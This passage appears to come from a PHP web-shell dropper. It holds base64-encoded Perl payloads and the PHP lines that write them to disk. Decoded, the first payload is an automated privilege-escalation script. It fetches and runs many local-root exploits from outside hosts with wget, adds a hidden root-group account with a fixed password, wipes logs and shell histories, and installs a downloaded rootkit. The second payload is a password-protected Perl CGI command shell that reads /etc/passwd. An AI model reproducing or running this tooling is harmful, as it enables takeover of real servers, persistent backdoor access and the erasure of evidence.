oIik7IApzeXN0ZW0oIi4vcm9vdHNoIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjLzI5LmMiKTsgCnN5c3RlbSgiZ2NjIDI5LmMgLW8gMjkiKTsgIApzeXN0ZW0oImNobW9kIDc3NyAyOSIpOyAKc3lzdGVtKCIuLzI5Iik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjLzMwIik7ICAKc3lzdGVtKCJjaG1vZCA3NzcgMzAiKTsgCnN5c3RlbSgiLi8zMCIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy8yMDA5Iik7ICAKc3lzdGVtKCJjaG1vZCA3NzcgMjAwOSIpOyAKc3lzdGVtKCIuLzIwMDkiKTsgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvcHdua2VybmVsIik7ICAKc3lzdGVtKCJjaG1vZCA3NzcgcHdua2VybmVsIik7IApzeXN0ZW0oIi4vcHdua2VybmVsIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7IApzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy8wNSIpOyAKc3lzdGVtKCJjaG1vZCA3NzcgMDUiKTsgCnN5c3RlbSgiLi8wNSIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOyAKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvaXNrbyIpOyAKc3lzdGVtKCJjaG1vZCA3NzcgaXNrbyIpOyAKc3lzdGVtKCIuL2lza28iKTsgCnN5c3RlbSgiaWQiKTsKc3lzdGVtKCIuL2lza28iKTsgCnN5c3RlbSgiaXNrbyIpOwpwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7IApzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy8xOCIpOyAKc3lzdGVtKCJjaG1vZCA3NzcgMTgiKTsgCnN5c3RlbSgiLi8xOCIpOyAKc3lzdGVtKCJpZCIpOyAKc3lzdGVtKCIuLzE4Iik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7IApzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy83Iik7IApzeXN0ZW0oImNobW9kIDc3NyA3Iik7IApzeXN0ZW0oIi4vNyIpOyAKc3lzdGVtKCJpZCIpOyAKc3lzdGVtKCIuLzciKTsgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsgCnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjLzctMiIpOyAKc3lzdGVtKCJjaG1vZCA3NzcgNy0yIik7IApzeXN0ZW0oIi4vNy0yIik7IApzeXN0ZW0oImlkIik7IApzeXN0ZW0oIi4vNy0yIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7IApzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy84Iik7IApzeXN0ZW0oImNobW9kIDc3NyA4Iik7IApzeXN0ZW0oIi4vOCIpOyAKc3lzdGVtKCJpZCIpOyAKc3lzdGVtKCIuLzgiKTsgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsgCnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjLzhhIik7IApzeXN0ZW0oImNobW9kIDc3NyA4YSIpOyAKc3lzdGVtKCIuLzhhIik7IApzeXN0ZW0oImlkIik7IApzeXN0ZW0oIi4vOGEiKTsgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsgCnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjLzhiYiIpOyAKc3lzdGVtKCJjaG1vZCA3NzcgOGJiIik7IApzeXN0ZW0oIi4vOGJiIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7IApzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy84Y2MiKTsgCnN5c3RlbSgiY2htb2QgNzc3IDhjYyIpOyAKc3lzdGVtKCIuLzhjYyIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOyAKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvOHgiKTsgCnN5c3RlbSgiY2htb2QgNzc3IDh4Iik7IApzeXN0ZW0oIi4vOHgiKTsgCnN5c3RlbSgiaWQiKTsgCnN5c3RlbSgiLi84eCIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOyAKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvMjAwOCIpOyAKc3lzdGVtKCJjaG1vZCA3NzcgMjAwOCIpOyAKc3lzdGVtKCIuLzIwMDgiKTsgCnN5c3RlbSgiaWQiKTsKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOyAKc3lzdGVtKCJ3Z2V0IGh0dHA6Ly93d3cuc2Nob29sYmQuY29tL2Fkc2Vuc2UvY2MvZXhwbG9pdCIpOyAKc3lzdGVtKCJjaG1vZCA3NzcgZXhwbG9pdCIpOyAKc3lzdGVtKCIuL2V4cGxvaXQiKTsgCnN5c3RlbSgiaWQiKTsgOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oIndnZXQgaHR0cDovL3d3dy5zY2hvb2xiZC5jb20vYWRzZW5zZS9jYy8yMDA5eHgiKTsgIApzeXN0ZW0oImNobW9kIDc3NyAyMDA5eHgiKTsgCnN5c3RlbSgiLi8yMDA5eHgiKTsgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsgCnN5c3RlbSgid2dldCBodHRwOi8vd3d3LnNjaG9vbGJkLmNvbS9hZHNlbnNlL2NjLzIuNi45LTU1LTIwMDctcHJ2OCIpOyAKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjktNTUtMjAwNy1wcnY4Iik7IApzeXN0ZW0oIi4vMi42LjktNTUtMjAwNy1wcnY4Iik7IApzeXN0ZW0oImlkIik7IApzeXN0ZW0oIi4vMi42LjktNTUtMjAwNy1wcnY4Iik7IApzeXN0ZW0oImlkIik7IApzeXN0ZW0oIi4vMi42LjktNTUtMjAwNy1wcnY4Iik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7ICAKcHJpbnQgIklmIHUgbWFsZXNlZiByb290bGF5YW1hZGluIGJhc2thIHNlcnZlcmxlcmRlIG11dGxha2EgYW1hIG11dGxha2E6KWJ5IGlza29ycGl0eCAtIEVkaXQgQlkgbk8gbE92MyBcbiI7IAp9CmlmICgkQVJHVlswXSA9fiAiLWsiICkgCiAgICAgICAgICB7CnByaW50ICJMb2NhbCByb290IDIwMDkgaTY4NiAyLjYuMTgtMTI4ICBbIDIgXVxuIjsKc3lzdGVtICJ3Z2V0IGh0dHA6Ly9ncnNlY3VyaXR5Lm5ldC9+c3BlbmRlci82NGJpdF9kb3MuYyI7CnNsZWVwKDIpOwpzeXN0ZW0oImdjYyA2NGJpdF9kb3MuYyAtbyA2NGJpdF9kb3MiKTsgIApzbGVlcCgyKTsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gImNobW9kIDc3NyA2NGJpdF9kb3MiOwpzbGVlcCgyKTsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gIi4vNjRiaXRfZG9zIjsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gInVuYW1lIC1hO3B3ZDtpZDtzdSI7CnNsZWVwKDIpOwpzeXN0ZW0gIndnZXQgaHR0cDovL2dyc2VjdXJpdHkubmV0L35zcGVuZGVyL2V4cGxvaXQudHh0IjsKc2xlZXAoMik7CnN5c3RlbSgiZ2NjIGV4cGxvaXQudHh0IC1vIGV4cGxvaXRjYyIpOyAgCnNsZWVwKDIpOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAiY2htb2QgNzc3IGV4cGxvaXRjYyI7CnNsZWVwKDIpOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAiLi9leHBsb2l0Y2MiOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAidW5hbWUgLWE7cHdkO2lkO3N1IjsKc2xlZXAoMik7CnN5c3RlbSAid2dldCBodHRwOi8vZ3JzZWN1cml0eS5uZXQvfnNwZW5kZXIvZ3Jsb2dhbGVydC5jIjsKc2xlZXAoMik7CnN5c3RlbSgiZ2NjIGdybG9nYWxlcnQuYyAtbyBncmxvZ2FsZXJ0Iik7ICAKc2xlZXAoMik7CnByaW50ICJcdGNvbXBsZXRlZCAuLiBcblxuIjsKc3lzdGVtICJjaG1vZCA3NzcgZ3Jsb2dhbGVydCI7CnNsZWVwKDIpOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAiLi9ncmxvZ2FsZXJ0IjsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gInVuYW1lIC1hO3B3ZDtpZDtzdSI7CnNsZWVwKDIpOwpzeXN0ZW0gIndnZXQgaHR0cDovL2dyc2VjdXJpdHkubmV0L35zcGVuZGVyL3ZtbGludXpfdG9fdm1saW51eF9nei5jIjsKc2xlZXAoMik7CnN5c3RlbSgiZ2NjIHZtbGludXpfdG9fdm1saW51eF9nei5jIC1vIHZtbGludXpfdG9fdm1saW51eF9neiIpOyAgCnNsZWVwKDIpOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAiY2htb2QgNzc3IHZtbGludXpfdG9fdm1saW51eF9neiI7CnNsZWVwKDIpOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAiLi92bWxpbnV6X3RvX3ZtbGludXhfZ3oiOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAidW5hbWUgLWE7cHdkO2lkO3N1IjsKc2xlZXAoMik7CnN5c3RlbSAid2dldCBodHRwOi8vZ3JzZWN1cml0eS5uZXQvfnNwZW5kZXIvY3Jhc2h2bWxpbnV6IjsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gImNobW9kIDc3NyBjcmFzaHZtbGludXoiOwpzbGVlcCgyKTsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gIi4vY3Jhc2h2bWxpbnV6IjsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gInVuYW1lIC1hO3B3ZDtpZDtzdSI7CnNsZWVwKDIpOwpzeXN0ZW0gIndnZXQgaHR0cDovL2RhenpsZXN0dWRpby5uZXQvMi42LjE4LTE2NCI7CnByaW50ICJcdGNvbXBsZXRlZCAuLiBcblxuIjsKc3lzdGVtICJjaG1vZCA3NzcgMi42LjE4LTE2NCI7CnNsZWVwKDIpOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAiLi8yLjYuMTgtMTY0IjsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gInVuYW1lIC1hO3B3ZDtpZDtzdSI7CnNsZWVwKDIpOwpzeXN0ZW0gIndnZXQgaHR0cDovL2FsZXhvbG91Z2hsaW5zcGxhY2UuY29tL2ZvcnVtL05ld0Rpci96MWQtMjAxMSI7CnByaW50ICJcdGNvbXBsZXRlZCAuLiBcblxuIjsKc3lzdGVtICJjaG1vZCA3NzcgejFkLTIwMTEiOwpzbGVlcCgyKTsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwpzeXN0ZW0gIi4vejFkLTIwMTEiOwpwcmludCAiXHRjb21wbGV0ZWQgLi4gXG5cbiI7CnN5c3RlbSAidW5hbWUgLWE7cHdkO2lkO3N1IjsKICAgICB9CQppZiAoJEFSR1ZbMF0gPX4gIi1hYiIgKSAKICAgICAgICAgIHsKcHJpbnQgcSAoCiAgICAgICAgICAgICAKc2VjNGV2ZXIuY29tCik7CgogICAgIH0KIAppZiAoJEFSR1ZbMF0gPX4gIi10IiApIAogICAgICAgICAgewpwcmludCAiQWRkIFJvb3QgQWNjb3VudCBbIHIgXVxuIjsKcHJpbnQgInVzZXIgOiBbIHJvb3IgXVxuIjsKc3lzdGVtICJhZGR1c2VyIC1nIDAgcm9vciAtRyB3aGVlbCxzeXMsYmluLGRhZW1vbixhZG0sZGlzayAtZCAvc2Y3IC1zIC9iaW4vc2giOwpzeXN0ZW0gInBhc3N3ZCByMG90SDR4MHIiOwpwcmludCAicGFzcyBpcyA6IHIwb3RINHgwclxuIjsKc2xlZXAoMik7IAoKICAgICB9CQkgCgkgaWYgKCRBUkdWWzBdID1+ICItZCIgKSAKICAgICAgICAgIHsKICBzeXN0ZW0oIndnZXQgaHR0cDovL3Bqay5kYW5hd2EubXkvdGVtcGxhdGVzL2JlZXovcHJpdjgtMi42LjE4LjIwMTAiKTsKc3lzdGVtKCJjaG1vZCA3NzcgcHJpdjgtMi42LjE4LjIwMTAiKTsgCnN5c3RlbSgiLi9wcml2OC0yLjYuMTguMjAxMCIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oImlkIik7CgogIHN5c3RlbSgid2dldCBodHRwOi8vcGprLmRhbmF3YS5teS90ZW1wbGF0ZXMvYmVlei9wcml2OC0yLjYuMTgtMTY0LTIwMTAiKTsKc3lzdGVtKCJjaG1vZCA3NzcgcHJpdjgtMi42LjE4LTE2NC0yMDEwIik7IApzeXN0ZW0oIi4vcHJpdjgtMi42LjE4LTE2NC0yMDEwIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgiaWQiKTsKCiAgc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9wamsuZGFuYXdhLm15L3RlbXBsYXRlcy9iZWV6LzIuNi4xOCIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMTgiKTsgCnN5c3RlbSgiLi8yLjYuMTgiKTsgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsKc3lzdGVtKCJpZCIpOwoKIHN5c3RlbSgid2dldCBodHRwOi8vcGprLmRhbmF3YS5teS90ZW1wbGF0ZXMvYmVlei8yIik7CnN5c3RlbSgiY2htb2QgNzc3IDIiKTsgCnN5c3RlbSgiLi8yIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgiaWQiKTsKCiBzeXN0ZW0oIndnZXQgaHR0cDovL3Bqay5kYW5hd2EubXkvdGVtcGxhdGVzL2JlZXovMSIpOwpzeXN0ZW0oImNobW9kIDc3NyAxIik7IApzeXN0ZW0oIi4vMSIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oImlkIik7CgoKIHN5c3RlbSgid2dldCBodHRwOi8vcGprLmRhbmF3YS5teS90ZW1wbGF0ZXMvYmVlei8yLjYuMTgtMTk0Iik7CnN5c3RlbSgiY2htb2QgNzc3IDIuNi4xOC0xOTQiKTsgCnN5c3RlbSgiLi8yLjYuMTgtMTk0Iik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgiaWQiKTsKCgogc3lzdGVtKCJ3Z2V0IGh0dHA6Ly9wamsuZGFuYXdhLm15L3RlbXBsYXRlcy9iZWV6LzIuNi4zMi0yMS1nZW5lcmljLTIwMTAtaTY4NiIpOwpzeXN0ZW0oImNobW9kIDc3NyAyLjYuMzItMjEtZ2VuZXJpYy0yMDEwLWk2ODYiKTsgCnN5c3RlbSgiLi8yLjYuMzItMjEtZ2VuZXJpYy0yMDEwLWk2ODYiKTsgCnN5c3RlbSgiaWQiKTsgCnByaW50ICJJZiB1IHIgcjAwdCBzdG9wIHhwbCB3aXRoIGN0cmwrY1xuIjsKc3lzdGVtKCJpZCIpOwoKIHN5c3RlbSgid2dldCBodHRwOi8vcGprLmRhbmF3YS5teS90ZW1wbGF0ZXMvYmVlei8yLjYuMTgtNTMiKTsKc3lzdGVtKCJjaG1vZCA3NzcgMi42LjE4LTUzIik7IApzeXN0ZW0oIi4vMi42LjE4LTUzIik7IApzeXN0ZW0oImlkIik7IApwcmludCAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSgiaWQiKTsKCiBzeXN0ZW0oIndnZXQgaHR0cDovL3Bqay5kYW5hd2EubXkvdGVtcGxhdGVzL2JlZXovMi42LjE4LTUzIik7CnN5c3RlbSgiY2htb2QgNzc3IDIuNi4zMCIpOyAKc3lzdGVtKCIuLzIuNi4xOC01MyIpOyAKc3lzdGVtKCJpZCIpOyAKcHJpbnQgIklmIHUgciByMDB0IHN0b3AgeHBsIHdpdGggY3RybCtjXG4iOwpzeXN0ZW0oImlkIik7CgogICB9CmlmICgkQVJHVlswXSA9fiAiLWMiICkgCiAgICAgICAgICB7CnN5c3RlbSAid2dldCBodHRwOi8vcmJodC5wcC5ydS9maWxlcy9lbmxpZ2h0ZW5tZW50LnRneiI7CnNsZWVwKDIpOyAKc3lzdGVtICJ0YXIgeHpmIGVubGlnaHRlbm1lbnQudGd6IjsKc2xlZXAoMik7IApzeXN0ZW0gImNkIGVubGlnaHRlbm1lbnQiOwpzeXN0ZW0gInNlZCAtaSAnL3R1cm5fXChvblx8b2ZmXClfd3AoKTsvZCcgZXhwbG9pdC5jIjsKc2xlZXAoMik7IApzeXN0ZW0gIi4vcnVuX251bGxfZXhwbG9pdHMuc2giOwpzbGVlcCgyKTsgCnN5c3RlbSAiaWQiOwpzeXN0ZW0gImlkIjsgCnN5c3RlbSAiSWYgdSByIHIwMHQgc3RvcCB4cGwgd2l0aCBjdHJsK2NcbiI7CnN5c3RlbSAidW5hbWUgLWE7c3U7aWQiOwogICAgIH0gCgkgCmlmICgkQVJHVlswXSA9fiAiLXJtIiApIAogICAgICAgICAgewpwcmludCAicm0gLXJmIExvZyBbIHJtIF0gXG4iOwpzeXN0ZW0gInJtIC1yZiAvdG1wL2xvZ3MiOwpzeXN0ZW0gInJtIC1yZiAvcm9vdC8ua3NoX2hpc3RvcnkiOwpzeXN0ZW0gInJtIC1yZiAvcm9vdC8uYmFzaF9oaXN0b3J5IjsKc3lzdGVtICJybSAtcmYgL3Jvb3QvLmJhc2hfbG9nb3V0IjsKc3lzdGVtICJybSAtcmYgL3Vzci9sb2NhbC9hcGFjaGUvbG9ncyI7CnNsZWVwKDIpOwpzeXN0ZW0gInJtIC1yZiAvdXNyL2xvY2FsL2FwYWNoZS9sb2ciOwpzeXN0ZW0gInJtIC1yZiAvdmFyL2FwYWNoZS9sb2dzIjsKc3lzdGVtICJybSAtcmYgL3Zhci9hcGFjaGUvbG9nIjsKc3lzdGVtICJybSAtcmYgL3Zhci9ydW4vdXRtcCI7CnN5c3RlbSAicm0gLXJmIC92YXIvbG9ncyI7CnN5c3RlbSAicm0gLXJmIC92YXIvbG9nIjsKc2xlZXAoMik7CnN5c3RlbSAicm0gLXJmIC92YXIvYWRtIjsKc3lzdGVtICJybSAtcmYgL2V0Yy93dG1wIjsKc3lzdGVtICJybSAtcmYgL2V0Yy91dG1wIjsKc3lzdGVtICJjZCAvYmluIjsKcHJpbnQgIlx0Y29tcGxldGVkIC4uIFxuXG4iOwogICAgIH0KaWYgKCRBUkdWWzBdID1+ICItdjQiICkgCiAgICAgICAgICB7CnByaW50ICJBZGQgdjQtdGVhbSBSb290a2l0IFsgdjQgXVxuIjsKc3lzdGVtICJ3Z2V0IGh0dHA6Ly90cmF2MWFuLnQzNS5jb20vdjR0ZWFtLXJvb3RraXQudGFyLmd6IjsKc3lzdGVtICJ0YXIgLXh2dnpmIHY0dGVhbS1yb290a2l0LnRhci5neiI7CnN5c3RlbSAiY2Qgcm9vdGtpdDsuL2luc3RhbGwiOwpwcmludCAidXNlciA6IHdvN29zaHY0dGVhbSAsICBwYXNzIDogdjR0ZWFtaGFja2VyIFxuIjsKc3lzdGVtICJpZCI7CnByaW50ICJcdGNvbXBsZXRlZCAuLiBcblxuIjsKICAgICB9CgkgCgkgCmlmICgkQVJHVlswXSA9fiAiLWhlIiApIAogICAgICAgICAgewpwcmludCBxICgKCnwgICAgICAgIFVzZSA6IHBlcmwgcm8wdGdldC5wbCAtMSAgICAgICAgfAoKKTsKCiAgICAgfQoK');
$write = fwrite ($file ,$sa);
$file = fopen($dir."dz.sa" ,"w+");
$sa=base64_decode('IyEvdXNyL2Jpbi9wZXJsIC1JL3Vzci9sb2NhbC9iYW5kbWluCiROVENtZFNlcCA9ICImIjsKJFVuaXhDbWRTZXAgPSAiOyI7CiRDb21tYW5kVGltZW91dER1cmF0aW9uID0gMzAwOwokU2hvd0R5bmFtaWNPdXRwdXQgPSAxOwokcGFzc3dvcmQgPSAiZHoiOwokQ21kU2VwID0gKCRXaW5OVCA/ICROVENtZFNlcCA6ICRVbml4Q21kU2VwKTsKJENtZFB3ZCA9ICgkV2luTlQgPyAiY2QiIDogInB3ZCIpOwokUGF0aFNlcCA9ICgkV2luTlQgPyAiXFwiIDogIi8iKTsKJFJlZGlyZWN0b3IgPSAoJFdpbk5UID8gIiAyPiYxIDE+JjIiIDogIiAxPiYxIDI+JjEiKTsKc3ViIFJlYWRQYXJzZSAKewoJbG9jYWwgKCppbikgPSBAXyBpZiBAXzsKCWxvY2FsICgkaSwgJGxvYywgJGtleSwgJHZhbCk7CgkKCSRNdWx0aXBhcnRGb3JtRGF0YSA9ICRFTlZ7J0NPTlRFTlRfVFlQRSd9ID1+IC9tdWx0aXBhcnRcL2Zvcm0tZGF0YTsgYm91bmRhcnk9KC4rKSQvOwoKCWlmKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgIkdFVCIpCgl7CgkJJGluID0gJEVOVnsnUVVFUllfU1RSSU5HJ307Cgl9CgllbHNpZigkRU5WeydSRVFVRVNUX01FVEhPRCd9IGVxICJQT1NUIikKCXsKCQliaW5tb2RlKFNURElOKSBpZiAkTXVsdGlwYXJ0Rm9ybURhdGEgJiAkV2luTlQ7CgkJcmVhZChTVERJTiwgJGluLCAkRU5WeydDT05URU5UX0xFTkdUSCd9KTsKCX0KCgkjIGhhbmRsZSBmaWxlIHVwbG9hZCBkYXRhCglpZigkRU5WeydDT05URU5UX1RZUEUnfSA9fiAvbXVsdGlwYXJ0XC9mb3JtLWRhdGE7IGJvdW5kYXJ5PSguKykkLykKCXsKCQkkQm91bmRhcnkgPSAnLS0nLiQxOyAjIHBsZWFzZSByZWZlciB0byBSRkMxODY3IAoJCUBsaXN0ID0gc3BsaXQoLyRCb3VuZGFyeS8sICRpbik7IAoJCSRIZWFkZXJCb2R5ID0gJGxpc3RbMV07CgkJJEhlYWRlckJvZHkgPX4gL1xyXG5cclxufFxuXG4vOwoJCSRIZWFkZXIgPSAkYDsKCQkkQm9keSA9ICQnOwogCQkkQm9keSA9fiBzL1xyXG4kLy87ICMgdGhlIGxhc3QgXHJcbiB3YXMgcHV0IGluIGJ5IE5ldHNjYXBlCgkJJGlueydmaWxlZGF0YSd9ID0gJEJvZHk7CgkJJEhlYWRlciA9fiAvZmlsZW5hbWU9XCIoLispXCIvOyAKCQkkaW57J2YnfSA9ICQxOyAKCQkkaW57J2YnfSA9fiBzL1wiLy9nOwoJCSRpbnsnZid9ID1+IHMvXHMvL2c7CgoJCSMgcGFyc2UgdHJhaWxlcgoJCWZvcigkaT0yOyAkbGlzdFskaV07ICRpKyspCgkJeyAKCQkJJGxpc3RbJGldID1+IHMvXi4rbmFtZT0kLy87CgkJCSRsaXN0WyRpXSA9fiAvXCIoXHcrKVwiLzsKCQkJJGtleSA9ICQxOwoJCQkkdmFsID0gJCc7CgkJCSR2YWwgPX4gcy8oXihcclxuXHJcbnxcblxuKSl8KFxyXG4kfFxuJCkvL2c7CgkJCSR2YWwgPX4gcy8lKC4uKS9wYWNrKCJjIiwgaGV4KCQxKSkvZ2U7CgkJCSRpbnska2V5fSA9ICR2YWw7IAoJCX0KCX0KCWVsc2UgIyBzdGFuZGFyZCBwb3N0IGRhdGEgKHVybCBlbmNvZGVkLCBub3QgbXVsdGlwYXJ0KQoJewoJCUBpbiA9IHNwbGl0KC8mLywgJGluKTsKCQlmb3JlYWNoICRpICgwIC4uICQjaW4pCgkJewoJCQkkaW5bJGldID1+IHMvXCsvIC9nOwoJCQkoJGtleSwgJHZhbCkgPSBzcGxpdCgvPS8sICRpblskaV0sIDIpOwoJCQkka2V5ID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkdmFsID1+IHMvJSguLikvcGFjaygiYyIsIGhleCgkMSkpL2dlOwoJCQkkaW57JGtleX0gLj0gIlwwIiBpZiAoZGVmaW5lZCgkaW57JGtleX0pKTsKCQkJJGlueyRrZXl9IC49ICR2YWw7CgkJfQoJfQp9CgojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCiMgUHJpbnRzIHRoZSBIVE1MIFBhZ2UgSGVhZGVyCiMgQXJndW1lbnQgMTogRm9ybSBpdGVtIG5hbWUgdG8gd2hpY2ggZm9jdXMgc2hvdWxkIGJlIHNldAojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tCnN1YiBmb28KICAgIHsKICAgICAgICBteSAoICRsb2dpbiwgJHAsICR1aWQsICRnaWQsICRnZWNvcywgJGRpciwgJHMgKTsKICAgICAKICAgICAgICBteSAlSG9IID0gKCk7CiAgICAgCiAgICAgICAgbXkgJGZpbGUgPSAnL2V0Yy9wYXNzd2QnOwogICAgICAgIG9wZW4oIFBBU1NXRCwgIjwgJGZpbGUiICkgb3IgZGllICJDYW4ndCBvcGVuICRmaWxlIDogJCEiOwogICAgIAogICAgICAgIHdoaWxlKCA8UEFTU1dEPiApIHsKICAgICAgICAgICAgKCAkbG9naW4sICRwLCAkdWlkLCAkZ2lkLCAkZ2Vjb3MsICRkaXIsICRzICkgPSBzcGxpdCggJzonICk7CiAgICAgCiAgICAgICAgICAgICRIb0h7ICRsb2dpbiB9eyAndWlkJyB9ID0gJHVpZDsKICAgICAgICAgICAgJEhvSHsgJGxvZ2luIH17ICdnaWQnIH0gPSAkZ2lkOwogICAgICAgICAgICAkSG9IeyAkbG9naW4gfXsgJ2RpcicgfSA9ICRkaXI7CiAgICAgICAgfQogICAgIAogICAgICAgIGNsb3NlIFBBU1NXRDsKICAgICAKICAgICAgICByZXR1cm4gXCVIb0g7CiAgICB9CnN1YiBQcmludFBhZ